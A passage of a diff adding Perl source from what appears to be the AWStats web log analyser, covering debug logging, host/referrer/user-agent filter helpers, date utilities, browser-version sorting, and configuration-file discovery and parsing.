"$messagestring\n"; + } + } +} + +#------------------------------------------------------------------------------ +# Function: Write debug message and exit +# Parameters: $string $level +# Input: %HTMLOutput $Debug=required level $DEBUGFORCED=required level forced +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub debug { + my $level = $_[1] || 1; + + if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { + http_head(); + } # To send the HTTP header and see debug + if ( $level <= $DEBUGFORCED ) { + my $debugstring = $_[0]; + if ( !$DebugResetDone ) { + open( DEBUGFORCEDFILE, "debug.log" ); + close DEBUGFORCEDFILE; + chmod 0666, "debug.log"; + $DebugResetDone = 1; + } + open( DEBUGFORCEDFILE, ">>debug.log" ); + print DEBUGFORCEDFILE localtime(time) + . " - $$ - DEBUG $level - $debugstring\n"; + close DEBUGFORCEDFILE; + } + if ( $DebugMessages && $level <= $Debug ) { + my $debugstring = $_[0]; + if ( scalar keys %HTMLOutput ) { + $debugstring =~ s/^ / /; + $debugstring .= "<br />"; + } + print localtime(time) . " - DEBUG $level - $debugstring\n"; + } +} + +#------------------------------------------------------------------------------ +# Function: Optimize an array of precompiled regex by removing duplicate entries +# Parameters: @Array notcasesensitive=0|1 +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub OptimizeArray { + my $array = shift; + my @arrayunreg = map { UnCompileRegex($_) } @$array; + my $notcasesensitive = shift; + my $searchlist = 0; + if ($Debug) { + debug( "OptimizeArray (notcasesensitive=$notcasesensitive)", 4 ); + } + while ( $searchlist > -1 && @arrayunreg ) { + my $elemtoremove = -1; + OPTIMIZELOOP: + foreach my $i ( $searchlist .. ( scalar @arrayunreg ) - 1 ) { + + # Search if $i elem is already treated by another elem + foreach my $j ( 0 .. ( scalar @arrayunreg ) - 1 ) { + if ( $i == $j ) { next; } + my $parami = + $notcasesensitive ? lc( $arrayunreg[$i] ) : $arrayunreg[$i]; + my $paramj = + $notcasesensitive ? lc( $arrayunreg[$j] ) : $arrayunreg[$j]; + if ($Debug) { + debug( " Compare $i ($parami) to $j ($paramj)", 4 ); + } + if ( index( $parami, $paramj ) > -1 ) { + if ($Debug) { + debug( +" Elem $i ($arrayunreg[$i]) already treated with elem $j ($arrayunreg[$j])", + 4 + ); + } + $elemtoremove = $i; + last OPTIMIZELOOP; + } + } + } + if ( $elemtoremove > -1 ) { + if ($Debug) { + debug( + " Remove elem $elemtoremove - $arrayunreg[$elemtoremove]", + 4 ); + } + splice @arrayunreg, $elemtoremove, 1; + $searchlist = $elemtoremove; + } + else { + $searchlist = -1; + } + } + if ($notcasesensitive) { + return map { qr/$_/i } @arrayunreg; + } + return map { qr/$_/ } @arrayunreg; +} + +#------------------------------------------------------------------------------ +# Function: Check if parameter is in SkipDNSLookupFor array +# Parameters: ip @SkipDNSLookupFor (a NOT case sensitive precompiled regex array) +# Return: 0 Not found, 1 Found +#------------------------------------------------------------------------------ +sub SkipDNSLookup { + foreach (@SkipDNSLookupFor) { + if ( $_[0] =~ /$_/ ) { return 1; } + } + 0; # Not in @SkipDNSLookupFor +} + +#------------------------------------------------------------------------------ +# Function: Check if parameter is in SkipHosts array +# Parameters: host @SkipHosts (a NOT case sensitive precompiled regex array) +# Return: 0 Not found, 1 Found +#------------------------------------------------------------------------------ +sub SkipHost { + foreach (@SkipHosts) { + if ( $_[0] =~ /$_/ ) { return 1; } + } + 0; # Not in @SkipHosts +} + +#------------------------------------------------------------------------------ +# Function: Check if parameter is in SkipReferrers array +# Parameters: host @SkipReferrers (a NOT case sensitive precompiled regex array) +# Return: 0 Not found, 1 Found +#------------------------------------------------------------------------------ +sub SkipReferrer { + foreach (@SkipReferrers) { + if ( $_[0] =~ /$_/ ) { return 1; } + } + 0; # Not in @SkipReferrers +} + +#------------------------------------------------------------------------------ +# Function: Check if parameter is in SkipUserAgents array +# Parameters: useragent @SkipUserAgents (a NOT case sensitive precompiled regex array) +# Return: 0 Not found, 1 Found +#------------------------------------------------------------------------------ +sub SkipUserAgent { + foreach (@SkipUserAgents) { + if ( $_[0] =~ /$_/ ) { return 1; } + } + 0; # Not in @SkipUserAgent +} + +#------------------------------------------------------------------------------ +# Function: Check if parameter is in SkipFiles array +# Parameters: url @SkipFiles (a NOT case sensitive precompiled regex array) +# Return: 0 Not found, 1 Found +#------------------------------------------------------------------------------ +sub SkipFile { + foreach (@SkipFiles) { + if ( $_[0] =~ /$_/ ) { return 1; } + } + 0; # Not in @SkipFiles +} + +#------------------------------------------------------------------------------ +# Function: Check if parameter is in OnlyHosts array +# Parameters: host @OnlyHosts (a NOT case sensitive precompiled regex array) +# Return: 0 Not found, 1 Found +#------------------------------------------------------------------------------ +sub OnlyHost { + foreach (@OnlyHosts) { + if ( $_[0] =~ /$_/ ) { return 1; } + } + 0; # Not in @OnlyHosts +} + +#------------------------------------------------------------------------------ +# Function: Check if parameter is in OnlyUsers array +# Parameters: host @OnlyUsers (a NOT case sensitive precompiled regex array) +# Return: 0 Not found, 1 Found +#------------------------------------------------------------------------------ +sub OnlyUser { + foreach (@OnlyUsers) { + if ( $_[0] =~ /$_/ ) { return 1; } + } + 0; # Not in @OnlyUsers +} + +#------------------------------------------------------------------------------ +# Function: Check if parameter is in OnlyUserAgents array +# Parameters: useragent @OnlyUserAgents (a NOT case sensitive precompiled regex array) +# Return: 0 Not found, 1 Found +#------------------------------------------------------------------------------ +sub OnlyUserAgent { + foreach (@OnlyUserAgents) { + if ( $_[0] =~ /$_/ ) { return 1; } + } + 0; # Not in @OnlyUserAgents +} + +#------------------------------------------------------------------------------ +# Function: Check if parameter is in NotPageFiles array +# Parameters: url @NotPageFiles (a NOT case sensitive precompiled regex array) +# Return: 0 Not found, 1 Found +#------------------------------------------------------------------------------ +sub NotPageFile { + foreach (@NotPageFiles) { + if ( $_[0] =~ /$_/ ) { return 1; } + } + 0; # Not in @NotPageFiles +} + +#------------------------------------------------------------------------------ +# Function: Check if parameter is in OnlyFiles array +# Parameters: url @OnlyFiles (a NOT case sensitive precompiled regex array) +# Return: 0 Not found, 1 Found +#------------------------------------------------------------------------------ +sub OnlyFile { + foreach (@OnlyFiles) { + if ( $_[0] =~ /$_/ ) { return 1; } + } + 0; # Not in @OnlyFiles +} + +#------------------------------------------------------------------------------ +# Function: Return day of week of a day +# Parameters: $day $month $year +# Return: 0-6 +#------------------------------------------------------------------------------ +sub DayOfWeek { + my ( $day, $month, $year ) = @_; + if ($Debug) { debug( "DayOfWeek for $day $month $year", 4 ); } + if ( $month < 3 ) { $month += 10; $year--; } + else { $month -= 2; } + my $cent = sprintf( "%1i", ( $year / 100 ) ); + my $y = ( $year % 100 ); + my $dw = ( + sprintf( "%1i", ( 2.6 * $month ) - 0.2 ) + $day + $y + + sprintf( "%1i", ( $y / 4 ) ) + sprintf( "%1i", ( $cent / 4 ) ) - + ( 2 * $cent ) ) % 7; + $dw += 7 if ( $dw < 0 ); + if ($Debug) { debug( " is $dw", 4 ); } + return $dw; +} + +#------------------------------------------------------------------------------ +# Function: Return 1 if a date exists +# Parameters: $day $month $year +# Return: 1 if date exists else 0 +#------------------------------------------------------------------------------ +sub DateIsValid { + my ( $day, $month, $year ) = @_; + if ($Debug) { debug( "DateIsValid for $day $month $year", 4 ); } + if ( $day < 1 ) { return 0; } + if ( $day > 31 ) { return 0; } + if ( $month == 4 || $month == 6 || $month == 9 || $month == 11 ) { + if ( $day > 30 ) { return 0; } + } + elsif ( $month == 2 ) { + my $leapyear = ( $year % 4 == 0 ? 1 : 0 ); # A leap year every 4 years + if ( $year % 100 == 0 && $year % 400 != 0 ) { + $leapyear = 0; + } # Except if year is 100x and not 400x + if ( $day > ( 28 + $leapyear ) ) { return 0; } + } + return 1; +} + +#------------------------------------------------------------------------------ +# Function: Return string of visit duration +# Parameters: $starttime $endtime +# Input: None +# Output: None +# Return: A string that identify the visit duration range +#------------------------------------------------------------------------------ +sub GetSessionRange { + my $starttime = my $endtime; + if ( shift =~ /$regdate/o ) { + $starttime = Time::Local::timelocal( $6, $5, $4, $3, $2 - 1, $1 ); + } + if ( shift =~ /$regdate/o ) { + $endtime = Time::Local::timelocal( $6, $5, $4, $3, $2 - 1, $1 ); + } + my $delay = $endtime - $starttime; + if ($Debug) { + debug( "GetSessionRange $endtime - $starttime = $delay", 4 ); + } + if ( $delay <= 30 ) { return $SessionsRange[0]; } + if ( $delay <= 120 ) { return $SessionsRange[1]; } + if ( $delay <= 300 ) { return $SessionsRange[2]; } + if ( $delay <= 900 ) { return $SessionsRange[3]; } + if ( $delay <= 1800 ) { return $SessionsRange[4]; } + if ( $delay <= 3600 ) { return $SessionsRange[5]; } + return $SessionsRange[6]; +} + +#------------------------------------------------------------------------------ +# Function: Return string with just the extension of a file in the URL +# Parameters: $regext, $url without query string +# Input: None +# Output: None +# Return: A lowercase string with the name of the extension, e.g. "html" +#------------------------------------------------------------------------------ +sub Get_Extension{ + my $extension; + my $regext = shift; + my $urlwithnoquery = shift; + if ( $urlwithnoquery =~ /$regext/o + || ( $urlwithnoquery =~ /[\\\/]$/ && $DefaultFile[0] =~ /$regext/o ) + ) + { + $extension = + ( $LevelForFileTypesDetection >= 2 || $MimeHashLib{$1} ) + ? lc($1) + : 'Unknown'; + } + else { + $extension = 'Unknown'; + } + return $extension; +} + +#------------------------------------------------------------------------------ +# Function: Returns just the file of the url +# Parameters: - +# Input: $url +# Output: String with the file name +# Return: - +#------------------------------------------------------------------------------ +sub Get_Filename{ + my $temp = shift; + my $idx = -1; + # check for slash + $idx = rindex($temp, "/"); + if ($idx > -1){ $temp = substr($temp, $idx+1);} + else{ + $idx = rindex($temp, "\\"); + if ($idx > -1){ $temp = substr($temp, $idx+1);} + } + return $temp; +} + +#------------------------------------------------------------------------------ +# Function: Compare two browsers version +# Parameters: $a +# Input: None +# Output: None +# Return: -1, 0, 1 +#------------------------------------------------------------------------------ +sub SortBrowsers { + my $a_family = $a; + my @a_ver = (); + foreach my $family ( keys %BrowsersFamily ) { + if ( $a =~ /^$family/i ) { + $a =~ m/^(\D+)([\d\.]+)?$/; + $a_family = $1; + @a_ver = split( /\./, $2 ); + } + } + my $b_family = $b; + my @b_ver = (); + foreach my $family ( keys %BrowsersFamily ) { + if ( $b =~ /^$family/i ) { + $b =~ m/^(\D+)([\d\.]+)?$/; + $b_family = $1; + @b_ver = split( /\./, $2 ); + } + } + + my $compare = 0; + my $done = 0; + + $compare = $a_family cmp $b_family; + if ( $compare != 0 ) { + return $compare; + } + + while ( !$done ) { + my $a_num = shift @a_ver || 0; + my $b_num = shift @b_ver || 0; + + $compare = $a_num <=> $b_num; + if ( $compare != 0 + || ( scalar(@a_ver) == 0 && scalar(@b_ver) == 0 && $compare == 0 ) ) + { + $done = 1; + } + } + + return $compare; +} + +#------------------------------------------------------------------------------ +# Function: Read config file +# Parameters: None or configdir to scan +# Input: $DIR $PROG $SiteConfig +# Output: Global variables +# Return: - +#------------------------------------------------------------------------------ +sub Read_Config { + + # Check config file in common possible directories : + # Windows : "$DIR" (same dir than awstats.pl) + # Standard, Mandrake and Debian package : "/etc/awstats" + # Other possible directories : "/usr/local/etc/awstats", "/etc" + # FHS standard, Suse package : "/etc/opt/awstats" + my $configdir = shift; + my @PossibleConfigDir = ( + "$DIR", + "/etc/awstats", + "/usr/local/etc/awstats", "/etc", + "/etc/opt/awstats" + ); + + if ($configdir) { + # Check if configdir is outside default values. + my $outsidedefaultvalue=1; + foreach (@PossibleConfigDir) { + if ($_ eq $configdir) { $outsidedefaultvalue=0; last; } + } + + # If from CGI, overwriting of configdir with a value that differs from a defautl value + # is only possible if AWSTATS_ENABLE_CONFIG_DIR defined + if ($ENV{'GATEWAY_INTERFACE'} && $outsidedefaultvalue && ! $ENV{"AWSTATS_ENABLE_CONFIG_DIR"}) + { + error("Sorry, to allow overwriting of configdir parameter, from an AWStats CGI page, with a non default value, environment variable AWSTATS_ENABLE_CONFIG_DIR must be set to 1. For example, by adding the line 'SetEnv AWSTATS_ENABLE_CONFIG_DIR 1' in your Apache config file or into a .htaccess file."); + } + + @PossibleConfigDir = ("$configdir"); + } + + # Open config file + $FileConfig = $FileSuffix = ''; + foreach (@PossibleConfigDir) { + my $searchdir = $_; + if ( $searchdir && $searchdir !~ /[\\\/]$/ ) { $searchdir .= "/"; } + + if ( -f $searchdir.$PROG.".".$SiteConfig.".conf" && open( CONFIG, "$searchdir$PROG.$SiteConfig.conf" ) ) { + $FileConfig = "$searchdir$PROG.$SiteConfig.conf"; + $FileSuffix = ".$SiteConfig"; + if ($Debug){debug("Opened config: $searchdir$PROG.$SiteConfig.conf", 2);} + last; + }else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.$SiteConfig.conf", 2);}} + + if ( -f $searchdir.$PROG.".conf" && open( CONFIG, "$searchdir$PROG.conf" ) ) { + $FileConfig = "$searchdir$PROG.conf"; + $FileSuffix = ''; + if ($Debug){debug("Opened config: $searchdir$PROG.conf", 2);} + last; + }else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.conf", 2);}} + + # Added to open config if file name is passed to awstats + if ( -f $searchdir.$SiteConfig && open( CONFIG, "$searchdir$SiteConfig" ) ) { + $FileConfig = "$searchdir$SiteConfig"; + $FileSuffix = ''; + if ($Debug){debug("Opened config: $searchdir$SiteConfig", 2);} + last; + }else{if ($Debug){debug("Unable to open config file: $searchdir$SiteConfig", 2);}} + } + + #CL - Added to open config if full path is passed to awstats + if ( !$FileConfig ) { + + $SiteConfig = File::Spec->rel2abs($SiteConfig); + debug("Finally, try to open an absolute path : $SiteConfig", 2); + + if ( -f $SiteConfig && open( CONFIG, "$SiteConfig" ) ) { + $FileConfig = "$SiteConfig"; + $FileSuffix = ''; + if ($Debug){debug("Opened config: $SiteConfig", 2);} + }else{if ($Debug){debug("Unable to open config file: $SiteConfig", 2);}} + } + + if ( !$FileConfig ) { + if ($DEBUGFORCED || !$ENV{'GATEWAY_INTERFACE'}){ + error( +"Couldn't open config file \"$PROG.$SiteConfig.conf\", nor \"$PROG.conf\", nor \"$SiteConfig\" after searching in path \"" + . join( ', ', @PossibleConfigDir ) + . ", $SiteConfig\": $!" ); + }else{error("Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\". + Please read the documentation for directories where the configuration file should be located."); } + } + + # Analyze config file content and close it + &Parse_Config( *CONFIG, 1, $FileConfig ); + close CONFIG; + + # If parameter NotPageList not found, init for backward compatibility + if ( !$FoundNotPageList ) { + %NotPageList = ( + 'css' => 1, + 'js' => 1, + 'class' => 1, + 'gif' => 1, + 'jpg' => 1, + 'jpeg' => 1, + 'png' => 1, + 'bmp' => 1, + 'ico' => 1, + 'swf' => 1 + ); + } + + # If parameter ValidHTTPCodes empty, init for backward compatibility + if ( !scalar keys %ValidHTTPCodes ) { + $ValidHTTPCodes{"200"} = $ValidHTTPCodes{"304"} = 1; + } + + # If parameter ValidSMTPCodes empty, init for backward compatibility + if ( !scalar keys %ValidSMTPCodes ) { + $ValidSMTPCodes{"1"} = $ValidSMTPCodes{"250"} = 1; + } +} + +#------------------------------------------------------------------------------ +# Function: Parse content of a config file +# Parameters: opened file handle, depth level, file name +# Input: - +# Output: Global variables +# Return: - +#------------------------------------------------------------------------------ +sub Parse_Config { + my ($confighandle) = $_[0]; + my $level = $_[1]; + my $configFile = $_[2]; + my $versionnum = 0; + my $conflinenb = 0; + + if ( $level > 10 ) { + error( +"$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)." + ); + } + + while (<$confighandle>) { + chomp $_; + s/\r//; + $conflinenb++; + + # Extract version from first line + if ( !$versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i ) { + $versionnum = ( $1 * 1000 ) + $2; + + #if ($Debug) { debug(" Configure file version is $versionnum",1); } + next; + } + + if ( $_ =~ /^\s*$/ ) { next; } + + # Check includes + if ( $_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/ ) + { # #include kept for backward compatibility + my $includeFile = $1; + + # Expand __var__ by values + while ( $includeFile =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) { + my $var = $1; + $includeFile =~ s/__${var}__/$ENV{$var}/g; + } + if ($Debug) { debug( "Found an include : $includeFile", 2 ); } + if ( $includeFile !~ /^([a-zA-Z]:)?[\\\/]/ ) { + # Correct relative include files + if ( $FileConfig =~ /^(.*[\\\/])[^\\\/]*$/ ) { + $includeFile = "$1$includeFile"; + } + } + if ( $level > 1 ) { + warning( +"Warning: Perl versions before 5.6 cannot handle nested includes" + ); + next; + } + local( *CONFIG_INCLUDE ); # To avoid having parent file closed when include file is closed + if ( open( CONFIG_INCLUDE, $includeFile ) ) { + &Parse_Config( *CONFIG_INCLUDE, $level + 1, $includeFile ); + close(CONFIG_INCLUDE); + } + else { + error("Could not open include file: $includeFile"); + } + next; + } + + # Remove comments + if ( $_ =~ /^\s*#/ ) { next; } + $_ =~ s/\s#.*$//; + + # Extract param and value + my ( $param, $value ) = split( /=/, $_, 2 ); + $param =~ s/^\s+//; + $param =~ s/\s+$//; + + # If not a param=value, try with next line + if ( !$param ) { + warning( +"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored." + ); + next; + } + if ( !defined $value ) { + warning( +"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored." + ); + next; + } + + if ($value) { + $value =~ s/^\s+//; + $value =~ s/\s+$//; + $value =~ s/^\"//; + $value =~ s/\";?$//; + + # Replace __MONENV__ with value of environnement variable MONENV + # Must be able to replace __VAR_1____VAR_2__ + while ( $value =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) { + my $var = $1; + $value =~ s/__${var}__/$ENV{$var}/g; + } + } + + # Initialize parameter for (param,value) + if ( $param =~ /^LogFile/ ) { + if ( $QueryString !~ /logfile=([^\s&]+)/i ) { $LogFile = $value; } + next; + } + if ( $param =~ /^DirIcons/ ) { + if ( $QueryString !~ /diricons=([^\s&]+)/i ) { $DirIcons = $value; } + next; + } + if ( $param =~ /^SiteDomain/ ) { + + # No regex test as SiteDomain is always exact value + $SiteDomain = $value; + next; + } + if ( $param =~ /^AddLinkToExternalCGIWrapper/ ) { + + # No regex test as AddLinkToExternalCGIWrapper is always exact value + $AddLinkToExternalCGIWrapper = $value; + next; + } + if ( $param =~ /^HostAliases/ ) { + @HostAliases = (); + foreach my $elem ( split( /\s+/, $value ) ) { + if ( $elem =~ s/^\@// ) { # If list of hostaliases in a file + open( DATAFILE, "<$elem" ) + || error( +"Failed to open file '$elem' declared in HostAliases parameter" + ); + my @val = map( /^(.*)$/i, <DATAFILE> ); + push @HostAliases, map { qr/^$_$/i } @val; + close(DATAFILE); + } + else { + if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } + else { $elem = '^' . quotemeta($elem) . '$'; } + if ($elem) { push @HostAliases, qr/$elem/i; } + } + } + next; + } + + # Special optional setup params + if ( $param =~ /^SkipDNSLookupFor/ ) { + @SkipDNSLookupFor = (); + foreach my $elem ( split( /\s+/, $value ) ) { + if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } + else { $elem = '^' . quotemeta($elem) . '$'; } + if ($elem) { push @SkipDNSLookupFor, qr/$elem/i; } + } + next; + } + if ( $param =~ /^AllowAccessFromWebToFollowingAuthenticatedUsers/ ) { + @AllowAccessFromWebToFollowingAuthenticatedUsers = (); + foreach ( split( /\s+/, $value ) ) { + push @AllowAccessFromWebToFollowingAuthenticatedUsers, $_; + } + next; + } + if ( $param =~ /^DefaultFile/ ) { + @DefaultFile = (); + foreach my $elem ( split( /\s+/, $value ) ) { + + # No REGEX for this option + #if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; } + #else { $elem='^'.quotemeta($elem).'$'; } + if ($elem) { push @DefaultFile, $elem; } + } + next; + } + if ( $param =~ /^SkipHosts/ ) { + @SkipHosts = (); + foreach my $elem ( split( /\s+/, $value ) ) { + if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } + else { $elem = '^' . quotemeta($elem) . '$'; } + if ($elem) { push @SkipHosts, qr/$elem/i; } + } + next; + } + if ( $param =~ /^SkipReferrersBlackList/ && $value ) { + open( BLACKLIST, "<$value" ) + || die "Failed to open blacklist: $!\n"; + while (<BLACKLIST>) { + chomp; + my $elem = $_; + $elem =~ s/ //; + $elem =~ s/\#.*//; + if ($elem) { push @SkipReferrers, qr/$elem/i; } + } + next; + close(BLACKLIST); + } + if ( $param =~ /^SkipUserAgents/ ) { + @SkipUserAgents = (); + foreach my $elem ( split( /\s+/, $value ) ) { + if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } + else { $elem = '^' . quotemeta($elem) . '$'; } + if ($elem) { push @SkipUserAgents, qr/$elem/i; } + } + next; + } + if ( $param =~ /^SkipFiles/ ) { + @SkipFiles = (); + foreach my $elem ( split( /\s+/, $value ) ) { + if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } + else { $elem = '^' . quotemeta($elem) . '$'; } + if ($elem) { push @SkipFiles, qr/$elem/i; } + } + next; + } + if ( $param =~ /^OnlyHosts/ ) { + @OnlyHosts = (); + foreach my $elem ( split( /\s+/, $value ) ) { + if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } + else { $elem = '^' . quotemeta($elem) . '$'; } + if ($elem) { push @OnlyHosts, qr/$elem/i; } + } + next; + } + if ( $param =~ /^OnlyUsers/ ) { + @OnlyUsers = (); + foreach my $elem ( split( /\s+/, $value ) ) { + if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } + else { $elem = '^' . quotemeta($elem) . '$'; } + if ($elem) { push @OnlyUsers, qr/$elem/i; } + } + next; + } + if ( $param =~ /^OnlyUserAgents/ ) { + @OnlyUserAgents = (); + foreach my $elem ( split( /\s+/, $value ) ) { + if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } + else { $elem = '^' . quotemeta($elem) . '$'; } + if ($elem) { push @OnlyUserAgents, qr/$elem/i; } + } + next; + } + if ( $param =~ /^OnlyFiles/ ) { + @OnlyFiles = (); + foreach my $elem ( split( /\s+/, $value ) ) { + if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } + else { $elem = '^' . quotemeta($elem) . '$'; } + if ($elem) { push @OnlyFiles, qr/$elem/i; } + } + next; + } + if ( $param =~ /^NotPageFiles/ ) { + @NotPageFiles = (); + foreach my $elem ( split( /\s+/, $value ) ) { + if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } + else { $elem = '^' . quotemeta($elem) . '$'; } + if ($elem) { push @NotPageFiles, qr/$elem/i; } + } + next; + } + if ( $param =~ /^NotPageList/ ) { + %NotPageList = (); + foreach ( split( /\s+/, $value ) ) { $NotPageList{$_} = 1; } + $FoundNotPageList = 1; + next; + } + if ( $param =~ /^ValidHTTPCodes/ ) { + %ValidHTTPCodes = (); + foreach ( split( /\s+/, $value ) ) { $ValidHTTPCodes{$_} = 1; } + next; + } + if ( $param =~ /^ValidSMTPCodes/ ) { + %ValidSMTPCodes = (); + foreach ( split( /\s+/, $value ) ) { $ValidSMTPCodes{$_} = 1; } + next; + } + if ( $param =~ /^URLWithQueryWithOnlyFollowingParameters$/ ) { + @URLWithQueryWithOnly = split( /\s+/, $value ); + next; + } + if ( $param =~ /^URLWithQueryWithoutFollowingParameters$/ ) { + @URLWithQueryWithout = split( /\s+/, $value ); + next; + } + + # Extra parameters + if ( $param =~ /^ExtraSectionName(\d+)/ ) { + $ExtraName[$1] = $value; + next; + } + if ( $param =~ /^ExtraSectionCodeFilter(\d+)/ ) { + @{ $ExtraCodeFilter[$1] } = split( /\s+/, $value ); + next; + } + if ( $param =~ /^ExtraSectionCondition(\d+)/ ) { + $ExtraCondition[$1] = $value; + next; + } + if ( $param =~ /^ExtraSectionStatTypes(\d+)/ ) { + $ExtraStatTypes[$1] = $value; + next; + } + if ( $param =~ /^ExtraSection(\d+)ColumnTitle(\d+)/ ) { + $ExtraColumnTitle[$1][$2] = $value; + next; + } + if ( $param =~ /^ExtraSection(\d+)ColumnValues(\d+)/ ) { + $ExtraColumnValues[$1][$2] = $value; + next; + } + if ( $param =~ /^ExtraSection(\d+)ColumnFunction(\d+)/ ) { + $ExtraColumnFunction[$1][$2] = $value; + next; + } + if ( $param =~ /^ExtraSection(\d+)ColumnFormat(\d+)/ ) { + $ExtraColumnFormat[$1][$2] = $value; + next; + } + if ( $param =~ /^ExtraSectionAddAverageRow(\d+)/ ) { + $ExtraAddAverageRow[$1] = $value; + next; + } + if ( $param =~ /^ExtraSectionAddSumRow(\d+)/ ) { + $ExtraAddSumRow[$1] = $value; + next; + } + if ( $param =~ /^MaxNbOfExtra(\d+)/ ) { + $MaxNbOfExtra[$1] = $value; + next; + } + if ( $param =~ /^MinHitExtra(\d+)/ ) { + $MinHitExtra[$1] = $value; + next; + } + + # Plugins + if ( $param =~ /^LoadPlugin/ ) { push @PluginsToLoad, $value; next; } + + # Other parameter checks we need to put after MaxNbOfExtra and MinHitExtra + if ( $param =~ /^MaxNbOf(\w+)/ ) { $MaxNbOf{$1} = $value; next; } + if ( $param =~ /^MinHit(\w+)/ ) { $MinHit{$1} = $value; next; } + +# Check if this is a known parameter +# if (! $ConfOk{$param}) { error("Unknown config parameter '$param' found line $conflinenb in file \"configFile\""); } +# If parameters was not found previously, defined variable with name of param to value + $$param = $value; + } + + if ($Debug) { + debug("Config file read was \"$configFile\" (level $level)"); + } +} + +#------------------------------------------------------------------------------ +# Function: Load the reference databases +# Parameters: List of files to load +# Input: $DIR +# Output: Arrays and Hash tables are defined +# Return: - +#------------------------------------------------------------------------------ +sub Read_Ref_Data { + +# Check lib files in common possible directories : +# Windows and standard package: "$DIR/lib" (lib in same dir than awstats.pl) +# Debian package: "/usr/share/awstats/lib" + my @PossibleLibDir = ( "$DIR/lib", "/usr/share/awstats/lib" ); + my %FilePath = (); + my %DirAddedInINC = (); + my @FileListToLoad = (); + while ( my $file = shift ) { push @FileListToLoad, "$file.pm"; } + if ($Debug) { + debug( "Call to Read_Ref_Data with files to load: " + . ( join( ',', @FileListToLoad ) ) ); + } + foreach my $file (@FileListToLoad) { + foreach my $dir (@PossibleLibDir) { + my $searchdir = $dir; + if ( $searchdir + && ( !( $searchdir =~ /\/$/ ) ) + && ( !( $searchdir =~ /\\$/ ) ) ) + { + $searchdir .= "/"; + } + if ( !$FilePath{$file} ) + { # To not load twice same file in different path + if ( -s "${searchdir}${file}" ) { + $FilePath{$file} = "${searchdir}${file}"; + if ($Debug) { + debug( +"Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]" + ); + } + + # Note: cygwin perl 5.8 need a push + require file + if ( !$DirAddedInINC{"$dir"} ) { + push @INC, "$dir"; + $DirAddedInINC{"$dir"} = 1; + } + my $loadret = require "$file"; + + #my $loadret=(require "$FilePath{$file}"||require "${file}"); + } + } + } + if ( !$FilePath{$file} ) { + my $filetext = $file; + $filetext =~ s/\.pm$//; + $filetext =~ s/_/ /g; + warning( +"Warning: Can't read file \"$file\" ($filetext detection will not work correctly).\nCheck if file is in \"" + . ( $PossibleLibDir[0] ) + . "\" directory and is readable." ); + } + } + + # Sanity check (if loaded) + if ( ( scalar keys %OSHashID ) + && @OSSearchIDOrder != scalar keys %OSHashID ) + { + error( "Not same number of records of OSSearchIDOrder (" + . (@OSSearchIDOrder) + . " entries) and OSHashID (" + . ( scalar keys %OSHashID ) + . " entries) in OS database. Check your file " + . $FilePath{"operating_systems.pm"} ); + } + if ( + ( scalar keys %SearchEnginesHashID ) + && ( @SearchEnginesSearchIDOrder_list1 + + @SearchEnginesSearchIDOrder_list2 + + @SearchEnginesSearchIDOrder_listgen ) != scalar + keys %SearchEnginesHashID + ) + { + error( +"Not same number of records of SearchEnginesSearchIDOrder_listx (total is " + . ( + @SearchEnginesSearchIDOrder_list1 + + @SearchEnginesSearchIDOrder_list2 + + @SearchEnginesSearchIDOrder_listgen + ) + . " entries) and SearchEnginesHashID (" + . ( scalar keys %SearchEnginesHashID ) + . " entries) in Search Engines database. Check your file " + . $FilePath{"search_engines.pm"} + . " is up to date." + ); + } + if ( ( scalar keys %BrowsersHashIDLib ) + && @BrowsersSearchIDOrder != ( scalar keys %BrowsersHashIDLib ) - 8 ) + { + #foreach (sort keys %BrowsersHashIDLib) + #{ + # print $_."\n"; + #} + #foreach (sort @BrowsersSearchIDOrder) + #{ + # print $_."\n"; + #} + error( "Not same number of records of BrowsersSearchIDOrder (" + . (@BrowsersSearchIDOrder) + . " entries) and BrowsersHashIDLib (" + . ( ( scalar keys %BrowsersHashIDLib ) - 8 ) + . " entries without firefox,opera,chrome,safari,konqueror,svn,msie,netscape) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file " + . $FilePath{"browsers.pm"} + . " is up to date." ); + } + if ( + ( scalar keys %RobotsHashIDLib ) + && ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 + + @RobotsSearchIDOrder_listgen ) != + ( scalar keys %RobotsHashIDLib ) - 1 + ) + { + error( + "Not same number of records of RobotsSearchIDOrder_listx (total is " + . ( + @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 + + @RobotsSearchIDOrder_listgen + ) + . " entries) and RobotsHashIDLib (" + . ( ( scalar keys %RobotsHashIDLib ) - 1 ) + . " entries without 'unknown') in Robots database. Check your file " + . $FilePath{"robots.pm"} + . " is up to date." + ); + } +} + +#------------------------------------------------------------------------------ +# Function: Get the messages for a specified language +# Parameters: LanguageId +# Input: $DirLang $DIR +# Output: $Message table is defined in memory +# Return: None +#------------------------------------------------------------------------------ +sub Read_Language_Data { + +# Check lang files in common possible directories : +# 